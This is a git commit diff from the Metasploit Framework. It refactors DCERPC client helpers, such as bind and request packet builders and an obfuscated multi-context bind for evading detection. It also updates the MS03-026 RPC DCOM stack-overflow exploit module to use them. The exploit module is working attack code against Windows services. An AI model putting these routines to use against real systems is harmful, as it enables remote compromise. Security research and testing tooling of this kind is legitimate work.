DCERPC foo

git-svn-id: file:///home/svn/incoming/trunk@2852 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-09-16 03:29:27 +00:00
parent 2aa3c8ff15
commit 5e5f7eed24
7 changed files with 423 additions and 295 deletions

View File

@ -9,17 +9,24 @@ module Msf
# #
# This mixin provides utility methods for interacting with a DCERPC service on # This mixin provides utility methods for interacting with a DCERPC service on
# a remote machine. These methods may generally be useful in the context of # a remote machine. These methods may generally be useful in the context of
# exploitation. This mixin extends the Tcp exploit mixin. # exploitation. This mixin extends the Tcp exploit mixin. Only one DCERPC
# service can be accessed at a time using this class.
# #
### ###
module Exploit::Remote::DCERPC module Exploit::Remote::DCERPC
include Exploit::Remote::Tcp include Exploit::Remote::Tcp
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
def initialize(info = {}) def initialize(info = {})
super super
# OptInt.new('FragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127]) OptInt.new('DCEFragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127])
# OptBool.new('MultiBind', [ 0, 'Configure multi-context bind calls', 'T' ]) OptBool.new('DCEMultiBind', [ 0, 'Configure multi-context bind calls', 'T' ])
register_options( register_options(
[ [
Opt::RHOST, Opt::RHOST,
@ -27,19 +34,129 @@ module Exploit::Remote::DCERPC
], Msf::Exploit::Remote::DCERPC) ], Msf::Exploit::Remote::DCERPC)
end end
# Connect to the host/port specified by datastore['RHOST'], datastore['RPORT'] #
# Returns the context id on success and nil on failure # Generate a DCERPC bind request and send it on the default socket
def connect_bind (uuid, vers) #
def dcerpc_bind (uuid, vers = nil)
# 1. Create the socket and connect to the target system # Create the bind request
bind, ctx = dcerpc_make_bind(uuid, vers)
if (bind == nil)
return
end
# 2. Call Rex::Proto::DCERPC::Client to generate the BIND packet(s) # Verify that the socket exists
if (sock == nil)
return
end
# 3. Send the BIND packets and parse the response # Send the bind request
sock.put(bind)
# Parse the response
resp = DCERPCClient.read_response(sock)
if (resp.ack_result[ctx] != 0)
print_status("Failed to bind to UUID " + uuid)
return
end
return resp
end
#
# Generate DCERPC request packets and send them on the default socket
#
def dcerpc_call (func, stub)
# Create the request packets
pkts = dcerpc_make_call(func, stub)
if (pkts == nil)
return
end
# Verify that the socket exists
if (sock == nil)
return
end
print_status("Sending " + pkts.size.to_s + " DCERPC fragments...")
pkts.each { |chunk| sock.put(chunk) }
resp = DCERPCClient.read_response(sock)
return resp
end
#
# Generate the DCERPC bind request packet
#
def dcerpc_make_bind (uuid, vers = nil)
# Resolve the UUID if only the name was supplied
if (vers == nil)
vers = DCERPCUUID.vers_by_name(uuid)
uuid = DCERPCUUID.uuid_by_name(uuid)
end
# Verify that the uuid was resolved and is valid
if (uuid == nil)
print_status("Invalid UUID")
return
end
bind, ctx = nil, nil
if (datastore['DCEMultiBind'])
bind, ctx = DCERPCPacket.make_bind_fake_multi(uuid, vers, 10, 4)
else
bind, ctx = DCERPCPacket.make_bind(uuid, vers)
end
# Cache the context value for future requests
self.dcerpc_bind_context = ctx
return bind, ctx
end
#
# Generate the DCERPC request packets, broken up into DCEFragSize chunks
#
def dcerpc_make_call (func, stub, ctx = self.dcerpc_bind_context)
DCERPCPacket.make_request(
func,
stub,
datastore['DCEFragSize'].to_i || stub.length,
ctx
)
end
# Used to track the last DCERPC context
attr_accessor :dcerpc_bind_context
# 4. Return the context id back to the calling function
end end
end end
__END__
u = Rex::Proto::DCERPC::UUID.new()
uuid = u.uuid_by_name('REMACT')
vers = u.vers_by_name('REMACT')
print_status("Attempting to bind to the RemoteActivator interface...")
bind_pkt, ctx = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(uuid, vers, 10, 4)
sock.put(bind_pkt)
resp = d.read_response(sock)
if (resp.ack_result[ctx] != 0)
print_status("DCERPC bind to the RemoteActivator interface failed")
return
end end
print_status("Successful bind to the RemoteActivator interface")
print_status("Sending the malicious DCERPC request...")
Rex::Proto::DCERPC::Packet.make_request(0, stubdata, 256, ctx).each do |chunk|
sock.put(chunk)
end

View File

@ -1,3 +1,4 @@
require 'rex/proto/dcerpc/uuid' require 'rex/proto/dcerpc/uuid'
require 'rex/proto/dcerpc/response' require 'rex/proto/dcerpc/response'
require 'rex/proto/dcerpc/client' require 'rex/proto/dcerpc/client'
require 'rex/proto/dcerpc/packet'

View File

@ -8,7 +8,7 @@ require 'rex/proto/dcerpc/response'
require 'rex/text' require 'rex/text'
# Process a DCERPC response packet from a socket # Process a DCERPC response packet from a socket
def read_response (socket) def self.read_response (socket)
head = socket.timed_read(10, 5) head = socket.timed_read(10, 5)
# rescue # rescue
@ -23,8 +23,11 @@ require 'rex/text'
return resp return resp
end end
begin
body = socket.timed_read(resp.frag_len - 10, 10) body = socket.timed_read(resp.frag_len - 10, 10)
# rescue rescue Timeout::Error
puts "Error: #{ $! }"
end
if (body.nil? or body.length() != resp.frag_len - 10) if (body.nil? or body.length() != resp.frag_len - 10)
return resp return resp
@ -34,228 +37,6 @@ require 'rex/text'
return resp return resp
end end
# Create a standard DCERPC BIND request packet
def make_bind (uuid, vers)
u = Rex::Proto::DCERPC::UUID.new()
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
# Create the bind request packet
buff =
[
5, # major version 5
0, # minor version 0
11, # bind type
3, # flags
0x10000000, # data representation
72, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
1, # num ctx items
0, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv')
return buff, 0
end
# Create an obfuscated DCERPC BIND request packet
def make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
u = Rex::Proto::DCERPC::UUID.new()
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
bind_total = bind_head + bind_tail + 1
bind_size = (bind_total * 44) + 28
real_ctx, ctx = 0, 0
# Create the header of the bind request
data =
[
5, # major version 5
0, # minor version 0
11, # bind type
3, # flags
0x10000000, # data representation
bind_size, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
bind_total, # num ctx items
].pack('CCCCNvvVvvVV')
# Generate the fake UUIDs prior to the real one
1.upto(bind_head) do ||
# Generate some random UUID and versions
rand_uuid = Rex::Text.rand_text(16)
rand_imaj = rand(6)
rand_imin = rand(4)
data +=
[
ctx, # context id
1, # num trans items
rand_uuid, # interface uuid
rand_imaj, # interface major version
rand_imin, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
end
# Stuff the real UUID onto the end of the buffer
real_ctx = ctx;
data +=
[
ctx, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
# Generate the fake UUIDs after the real one
1.upto(bind_tail) do ||
# Generate some random UUID and versions
rand_uuid = Rex::Text.rand_text(16)
rand_imaj = rand(6)
rand_imin = rand(4)
data +=
[
ctx, # context id
1, # num trans items
rand_uuid, # interface uuid
rand_imaj, # interface major version
rand_imin, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
end
# Return both the bind packet and the real context_id
return data, real_ctx
end
# Create a standard DCERPC ALTER_CONTEXT request packet
def make_alter_context (uuid, vers)
u = Rex::Proto::DCERPC::UUID.new()
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
buff =
[
5, # major version 5
0, # minor version 0
14, # alter context
3, # flags
0x10000000, # data representation
72, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
1, # num ctx items
0, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv')
end
# Used to create a piece of a DCERPC REQUEST packet
def make_request_chunk (flags=3, opnum=0, data="", ctx=0)
dlen = data.length
flen = dlen + 24
buff =
[
5, # major version 5
0, # minor version 0
0, # request type
flags, # flags
0x10000000, # data representation
flen, # frag length
0, # auth length
0, # call id
dlen, # alloc hint
ctx, # context id
opnum, # operation number
].pack('CCCCNvvVVvv') + data
end
# Used to create standard DCERPC REQUEST packet(s)
def make_request (opnum=0, data="", size=data.length, ctx=0)
dlen = data.length
chunks, frags = [], []
ptr = 0
# Break the request into fragments of 'size' bytes
while ptr < data.length
chunks.push( data[ ptr, size ] )
ptr += size
end
# Process requests with no stub data
if chunks.length == 0
frags.push( make_request_chunk(3, opnum, '', ctx) )
return frags
end
# Process requests with only one fragment
if chunks.length == 1
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
return frags
end
# Create the first fragment of the request
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
# Create all of the middle fragments
while chunks.length != 1
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
end
# Create the last fragment of the request
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
return frags
end
end end
end end
end end

View File

@ -0,0 +1,235 @@
module Rex
module Proto
module DCERPC
class Packet
require 'rex/proto/dcerpc/uuid'
require 'rex/proto/dcerpc/response'
require 'rex/text'
# Create a standard DCERPC BIND request packet
def self.make_bind (uuid, vers)
u = Rex::Proto::DCERPC::UUID
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
# Create the bind request packet
buff =
[
5, # major version 5
0, # minor version 0
11, # bind type
3, # flags
0x10000000, # data representation
72, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
1, # num ctx items
0, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv')
return buff, 0
end
# Create an obfuscated DCERPC BIND request packet
def self.make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
u = Rex::Proto::DCERPC::UUID
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
bind_total = bind_head + bind_tail + 1
bind_size = (bind_total * 44) + 28
real_ctx, ctx = 0, 0
# Create the header of the bind request
data =
[
5, # major version 5
0, # minor version 0
11, # bind type
3, # flags
0x10000000, # data representation
bind_size, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
bind_total, # num ctx items
].pack('CCCCNvvVvvVV')
# Generate the fake UUIDs prior to the real one
1.upto(bind_head) do ||
# Generate some random UUID and versions
rand_uuid = Rex::Text.rand_text(16)
rand_imaj = rand(6)
rand_imin = rand(4)
data +=
[
ctx, # context id
1, # num trans items
rand_uuid, # interface uuid
rand_imaj, # interface major version
rand_imin, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
end
# Stuff the real UUID onto the end of the buffer
real_ctx = ctx;
data +=
[
ctx, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
# Generate the fake UUIDs after the real one
1.upto(bind_tail) do ||
# Generate some random UUID and versions
rand_uuid = Rex::Text.rand_text(16)
rand_imaj = rand(6)
rand_imin = rand(4)
data +=
[
ctx, # context id
1, # num trans items
rand_uuid, # interface uuid
rand_imaj, # interface major version
rand_imin, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('vvA16vvA16vv')
ctx += 1
end
# Return both the bind packet and the real context_id
return data, real_ctx
end
# Create a standard DCERPC ALTER_CONTEXT request packet
def self.make_alter_context (uuid, vers)
u = Rex::Proto::DCERPC::UUID
# Process the version strings ("1.0", 1.0, "1", 1)
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
buff =
[
5, # major version 5
0, # minor version 0
14, # alter context
3, # flags
0x10000000, # data representation
72, # frag length
0, # auth length
0, # call id
5840, # max xmit frag
5840, # max recv frag
0, # assoc group
1, # num ctx items
0, # context id
1, # num trans items
u.uuid_pack(uuid), # interface uuid
bind_vers_maj, # interface major version
bind_vers_min, # interface minor version
u.xfer_syntax_uuid, # transfer syntax
xfer_vers_maj, # syntax major version
xfer_vers_min, # syntax minor version
].pack('CCCCNvvVvvVVvvA16vvA16vv')
end
# Used to create a piece of a DCERPC REQUEST packet
def self.make_request_chunk (flags=3, opnum=0, data="", ctx=0)
dlen = data.length
flen = dlen + 24
buff =
[
5, # major version 5
0, # minor version 0
0, # request type
flags, # flags
0x10000000, # data representation
flen, # frag length
0, # auth length
0, # call id
dlen, # alloc hint
ctx, # context id
opnum, # operation number
].pack('CCCCNvvVVvv') + data
end
# Used to create standard DCERPC REQUEST packet(s)
def self.make_request (opnum=0, data="", size=data.length, ctx=0)
dlen = data.length
chunks, frags = [], []
ptr = 0
# Break the request into fragments of 'size' bytes
while ptr < data.length
chunks.push( data[ ptr, size ] )
ptr += size
end
# Process requests with no stub data
if chunks.length == 0
frags.push( make_request_chunk(3, opnum, '', ctx) )
return frags
end
# Process requests with only one fragment
if chunks.length == 1
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
return frags
end
# Create the first fragment of the request
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
# Create all of the middle fragments
while chunks.length != 1
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
end
# Create the last fragment of the request
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
return frags
end
end
end
end
end

View File

@ -27,7 +27,7 @@ class Response
self.raw = self.raw + body self.raw = self.raw + body
self.type = self.raw[2,1].unpack('C')[0] self.type = self.raw[2,1].unpack('C')[0]
uuid = Rex::Proto::DCERPC::UUID.new() uuid = Rex::Proto::DCERPC::UUID
data = self.raw data = self.raw
# BIND_ACK == 12, ALTER_CONTEXT_RESP == 15 # BIND_ACK == 12, ALTER_CONTEXT_RESP == 15

View File

@ -3,8 +3,8 @@ module Proto
module DCERPC module DCERPC
class UUID class UUID
def initialize
@known_uuids = @@known_uuids =
{ {
'MGMT' => [ 'afa8bd80-7d8a-11c9-bef4-08002b102989', '2.0' ], 'MGMT' => [ 'afa8bd80-7d8a-11c9-bef4-08002b102989', '2.0' ],
'REMACT' => [ '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0' ], 'REMACT' => [ '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0' ],
@ -15,10 +15,10 @@ class UUID
'EVENTLOG' => [ '82273fdc-e32a-18c3-3f78-827929dc23ea', '0.0' ], 'EVENTLOG' => [ '82273fdc-e32a-18c3-3f78-827929dc23ea', '0.0' ],
'SVCCTL' => [ '367abb81-9844-35f1-ad32-98f038001003', '2.0' ] 'SVCCTL' => [ '367abb81-9844-35f1-ad32-98f038001003', '2.0' ]
} }
end
# Convert a UUID in binary format to the string representation # Convert a UUID in binary format to the string representation
def uuid_unpack(uuid_bin) def self.uuid_unpack(uuid_bin)
sprintf("%.8x-%.4x-%.4x-%.4x-%s", sprintf("%.8x-%.4x-%.4x-%.4x-%s",
uuid_bin[ 0, 4].unpack('V')[0], uuid_bin[ 0, 4].unpack('V')[0],
uuid_bin[ 4, 2].unpack('v')[0], uuid_bin[ 4, 2].unpack('v')[0],
@ -29,37 +29,37 @@ class UUID
end end
# Convert a UUID in string format to the binary representation # Convert a UUID in string format to the binary representation
def uuid_pack (uuid_str) def self.uuid_pack (uuid_str)
parts = uuid_str.split('-') parts = uuid_str.split('-')
[ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*') [ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*')
end end
# Provide the common TransferSyntax UUID in packed format # Provide the common TransferSyntax UUID in packed format
def xfer_syntax_uuid () def self.xfer_syntax_uuid ()
self.uuid_pack('8a885d04-1ceb-11c9-9fe8-08002b104860') self.uuid_pack('8a885d04-1ceb-11c9-9fe8-08002b104860')
end end
# Provide the common TransferSyntax version number # Provide the common TransferSyntax version number
def xfer_syntax_vers () def self.xfer_syntax_vers ()
'2.0' '2.0'
end end
# Determine the UUID string for the DCERPC service with this name # Determine the UUID string for the DCERPC service with this name
def uuid_by_name (name) def self.uuid_by_name (name)
if @known_uuids.key?(name) if @@known_uuids.key?(name)
@known_uuids[name][0] @@known_uuids[name][0]
end end
end end
# Determine the common version number for the DCERPC service with this name # Determine the common version number for the DCERPC service with this name
def vers_by_name (name) def self.vers_by_name (name)
if @known_uuids.key?(name) if @@known_uuids.key?(name)
@known_uuids[name][1] @@known_uuids[name][1]
end end
end end
# Convert a string or number in float format to two unique numbers 2.0 => [2, 0] # Convert a string or number in float format to two unique numbers 2.0 => [2, 0]
def vers_to_nums (vers) def self.vers_to_nums (vers)
vers_maj = vers.to_i vers_maj = vers.to_i
vers_min = ((vers.to_f - vers.to_i) * 10).to_i vers_min = ((vers.to_f - vers.to_i) * 10).to_i
return vers_maj, vers_min return vers_maj, vers_min

View File

@ -12,11 +12,12 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft RPC DCOM MSO3-026', 'Name' => 'Microsoft RPC DCOM MSO3-026',
'Description' => 'Description' => %q{
"This module exploits a stack overflow in the RPCSS service, this vulnerability" + This module exploits a stack overflow in the RPCSS service, this vulnerability
"was originally found by the Last Stage of Delirium research group and has been" + was originally found by the Last Stage of Delirium research group and has bee
"widely exploited ever since. This module can exploit the English versions of " + widely exploited ever since. This module can exploit the English versions of
"Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)", Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
},
'Author' => [ 'hdm', 'spoonm' ], 'Author' => [ 'hdm', 'spoonm' ],
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
@ -59,9 +60,11 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
end end
def exploit def exploit
print_status("Connecting to the target system...")
connect
#
# Create the gigantic stub used to exploit 7 targets at the same time
#
print_status("Building the malicious DCERPC request...") print_status("Building the malicious DCERPC request...")
# Carefully create the combination of addresses and code for cross-os exploitation # Carefully create the combination of addresses and code for cross-os exploitation
@ -88,7 +91,6 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V') xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
xpseh[ 314, jmpsc.length ] = jmpsc xpseh[ 314, jmpsc.length ] = jmpsc
# #
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both # NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4 # NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
@ -152,38 +154,30 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
"\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" + "\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" +
"\x07\x00" "\x07\x00"
# Pad, calculate, set number of wide chars in path # Pad, calculate, set number of wide chars in path
pathsz = (((uncpath.length + 11) & ~7) / 2) pathsz = (((uncpath.length + 11) & ~7) / 2)
stubdata[ 52, 4 ] = [ pathsz ].pack('V') stubdata[ 52, 4 ] = [ pathsz ].pack('V')
stubdata[ 60, 4 ] = [ pathsz ].pack('V') stubdata[ 60, 4 ] = [ pathsz ].pack('V')
d = Rex::Proto::DCERPC::Client.new()
u = Rex::Proto::DCERPC::UUID.new()
uuid = u.uuid_by_name('REMACT') #
vers = u.vers_by_name('REMACT') # Connect to the remote MSRPC service
#
print_status("Attempting to bind to the RemoteActivator interface...") print_status("Connecting to the target system...")
bind_pkt, ctx = d.make_bind_fake_multi(uuid, vers, 10, 4) connect
sock.put(bind_pkt)
resp = d.read_response(sock)
if (resp.ack_result[ctx] != 0)
print_status("DCERPC bind to the RemoteActivator interface failed")
return
end
print_status("Successful bind to the RemoteActivator interface")
print_status("Sending the malicious DCERPC request...")
d.make_request(0, stubdata, 256, ctx).each do |chunk|
sock.put(chunk)
end
#
# Bind to the UUID and call the vulnerable function
#
res = self.dcerpc_bind('REMACT')
return if res == nil
self.dcerpc_call(0, stubdata)
#
# Perform any required client-side payload handling
#
handler handler
end end
end end